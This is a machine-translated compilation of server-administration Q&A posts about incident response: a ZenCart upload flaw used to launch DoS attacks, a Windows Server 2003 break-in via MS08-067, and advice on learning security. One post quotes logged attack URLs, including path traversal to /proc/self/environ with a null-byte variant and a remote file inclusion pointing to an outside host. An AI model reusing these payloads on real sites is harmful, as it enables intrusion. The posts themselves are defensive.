这是关于服务器安全的规范问题- 响应违规事件(黑客攻击)
另请参见:
规范版本
我怀疑我的一台或多台服务器受到了黑客、病毒或其他机制的危害:
原版
2011.01.02 - 我在周日晚上 9.30 上班的路上,因为我们的服务器不知何故遭到入侵,导致对我们的供应商的 DOS攻击。访问 Internet 的服务器已关闭,这意味着我们的 5-600 多个客户站点现已关闭。现在这可能是 FTP 黑客攻击,或者某处代码中的一些弱点。我不确定,直到我到达那里。
我怎样才能快速追踪到这个?如果我不尽快备份服务器,我们将面临大量诉讼。任何帮助表示赞赏。我们正在运行 Open SUSE 11.0。
2011.01.03 - 感谢大家的帮助。幸运的是,我不是唯一负责这个服务器的人,只是最近的人。我们设法解决了这个问题,尽管它可能不适用于不同情况下的许多其他问题。我会详细说明我们做了什么。
我们从网络上拔掉了服务器。它正在印度尼西亚的另一台服务器上执行(试图执行)拒绝服务攻击,而犯罪方也在那里。
我们首先试图确定这是来自服务器上的哪个位置,考虑到我们服务器上有 500 多个站点,我们预计会在一段时间内兼职。然而,在 SSH 访问仍然存在的情况下,我们运行了一个命令来查找在攻击开始时编辑或创建的所有文件。幸运的是,有问题的文件是在寒假期间创建的,这意味着当时在服务器上创建的其他文件并不多。
然后,我们能够识别ZenCart网站内上传的图像文件夹内的违规文件。
在短暂的休息之后,我们得出结论,由于文件位置的原因,它一定是通过文件上传工具上传的,但该工具没有得到足够的保护。经过一番谷歌搜索,我们发现 ZenCart 管理面板中存在一个安全漏洞,允许上传文件以获取唱片公司的图片。(它从未真正使用过的部分),发布此表单只是上传了任何文件,它没有检查文件的扩展名,甚至没有检查用户是否已登录。
这意味着可以上传任何文件,包括用于攻击的 PHP 文件。我们在受感染站点上使用 ZenCart 保护漏洞,并删除了有问题的文件。
工作完成了,我在凌晨 2 点回家
道德 - 始终为 ZenCart 或任何其他 CMS 系统应用安全补丁。当安全更新发布时,全世界都意识到了这个漏洞。- 总是做备份,备份你的备份。- 雇用或安排在这种时候会在那里的人。防止任何人依赖服务器故障上的恐慌帖子。
我有一台装有 IIS6、SQL Server 2005、MySQL 5 和 PHP 4.3 的 Windows Server 2003 SP2 机器。这不是生产机器,而是通过域名向世界公开。机器上启用了远程桌面,并且有两个管理帐户在其上处于活动状态。
今天早上我发现机器已经注销,登录文本框中仍然有一个未知的用户名。经过进一步调查,我发现已创建两个 Windows 用户,已卸载防病毒软件,并将少量 .exe 文件放入 C: 驱动器。
我想知道的是,我应该采取什么步骤来确保这种情况不再发生,以及我应该关注的领域来确定进入的途径。我已经检查了 netstat -a 以查看哪些端口是打开的,并且那里没有任何奇怪的地方。我确实在 MySQL 的数据文件夹中找到了未知文件,我认为这可能是入口点,但我不确定。
我非常感谢对服务器黑客进行良好的事后分析的步骤,以便我将来可以避免这种情况。
调查后审查
经过一番调查,我想我知道发生了什么。首先,在 08 年 8 月至 09 年 10 月的时间范围内,机器尚未联机。在此期间,发现了一个安全漏洞,即MS08-067 漏洞。“这是一个远程执行代码漏洞。成功利用此漏洞的攻击者可以远程完全控制受影响的系统。在基于 Microsoft Windows 2000、基于 Windows XP 和基于 Windows Server 2003 的系统上,攻击者可以利用此漏洞无需身份验证即可通过 RPC 运行,并且可以运行任意代码。” 2008 年 10 月发布的 KB958644 安全更新修复了此漏洞。
由于当时机器处于离线状态,错过了这次更新,我相信这个漏洞是在 09 年 10 月机器重新上线后不久被利用的。我发现对一个被描述为后门程序的 bycnboy.exe 程序的引用,该程序会对受感染的系统造成严重破坏。机器上线后不久,自动更新安装了补丁,关闭了远程控制系统的能力。由于后门现已关闭,我相信攻击者随后在该机器上创建了物理帐户,并能够再使用该机器一周,直到我注意到发生了什么。
在积极清除恶意代码、.exes 和 .dlls,删除自托管网站和用户帐户后,机器现在再次处于工作状态。在不久的将来,我将监视系统并查看服务器日志,以确定事件是否重复发生。
感谢您提供的信息和步骤。
查看我的 404 日志,我注意到以下两个 URL,它们都发生了一次:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
和
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
有问题的页面library.php
需要一个type
具有六个不同可接受值的id
变量,然后是一个变量。所以一个有效的 URL 可能是
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
并且在mysql_real_escape_string
用于查询数据库之前,所有id都经过了处理。
我是菜鸟,但在我看来这两个链接都是针对 webroot 的简单攻击?
1)除了 404 之外,如何最好地防止此类事情?
2)我是否应该永久禁止负责的 IP?
编辑:也刚刚注意到这个
/library.php=http://www.basfalt.no/scripts/danger.txt
编辑 2:所有 3 次攻击的违规 IP 都216.97.231.15
追溯到位于洛杉矶郊外的名为 Lunar Pages 的 ISP。
编辑 3:我决定在当地时间周五早上致电 ISP,并与我可以通过电话联系的任何人讨论该问题。我会在 24 小时左右后在此处发布结果。
编辑 4:我最后给他们的管理员发了电子邮件,他们首先回复说“他们正在调查”,然后一天后回复“现在应该解决这个问题”。没有进一步的细节,很遗憾。
最近(但它也是一个反复出现的问题)我们看到了 3 个关于黑客和安全的有趣主题:
最后一个没有直接关系,但它强调了搞乱 Web 服务器管理是多么容易。
由于有几件事情可以做,在不好的事情发生之前,我想就限制攻击的背面影响的良好实践以及如何在不幸的情况下做出反应方面提出您的建议。
这不仅仅是保护服务器和代码的问题,也是审计、日志记录和反措施的问题。
您是否有任何好的做法列表,或者您更喜欢依赖软件或专家来持续分析您的 Web 服务器(或根本不分析)?
如果是,你能分享你的清单和你的想法/意见吗?
更新
我收到了几个很好的和有趣的反馈。
我想要一个简单的列表,这样既可以方便 IT 安全管理员使用,也可以方便网络事实管理员。
即使每个人都给出了很好和正确的答案,但目前我更喜欢Robert的一个,因为它最简单、清晰和简洁,而sysadmin1138的一个最完整和精确。
但是没有人考虑用户的观点和感知,我认为这是首先必须考虑的。
用户在访问我被黑网站时会怎么想,如果您拥有有关他们的合理数据,则更多。这不仅仅是在何处存储数据的问题,而是如何安抚愤怒的用户的问题。
数据、媒体、权威和竞争对手呢?
我对进入安全领域很感兴趣,然后我研究了有关该领域的各种帖子。有人告诉我,我必须首先从安全角度彻底了解 unix 系统,然后才能走得更远。
我只知道基本的 Linux,我的公司有本地服务器 Ubuntu 和 VPS 服务器 centos 5。我通过托管站点和其他小的东西(如备份、cron 等)来管理它。
但我对日志等一无所知。有人写了以下内容:
观看实时 tcpdump 会话、系统日志条目、Web 服务器日志、snort 转储、转储实时系统内存,以及一百万种其他开源工具,用于窥视和查看正在运行的系统的内部结构。
还:
运行一个实时 SMTP 服务器,观察垃圾邮件机器人并扫描恶意软件。设置一个 Web 服务器并观看脚本小子在您的 Web 和数据库日志中尝试 SQL 注入攻击。查看您的 ssh 日志以进行暴力攻击。设置一个通用的博客引擎,并享受对抗垃圾邮件机器人和攻击的乐趣。了解如何部署各种虚拟化技术以将服务彼此分区。直接了解 ACL、MAC 和系统级审计是否值得为标准系统权限进行额外的工作和麻烦。
现在我真的很想 dl 所有这些东西。任何人都可以指导我阅读任何书籍。视频讲座,考试可以帮助我做这些事情。
每当我学习 Linux 的任何新东西时,我都会将其应用到我的实时服务器上。这就是我学习所有Linux的方式。
有任何想法吗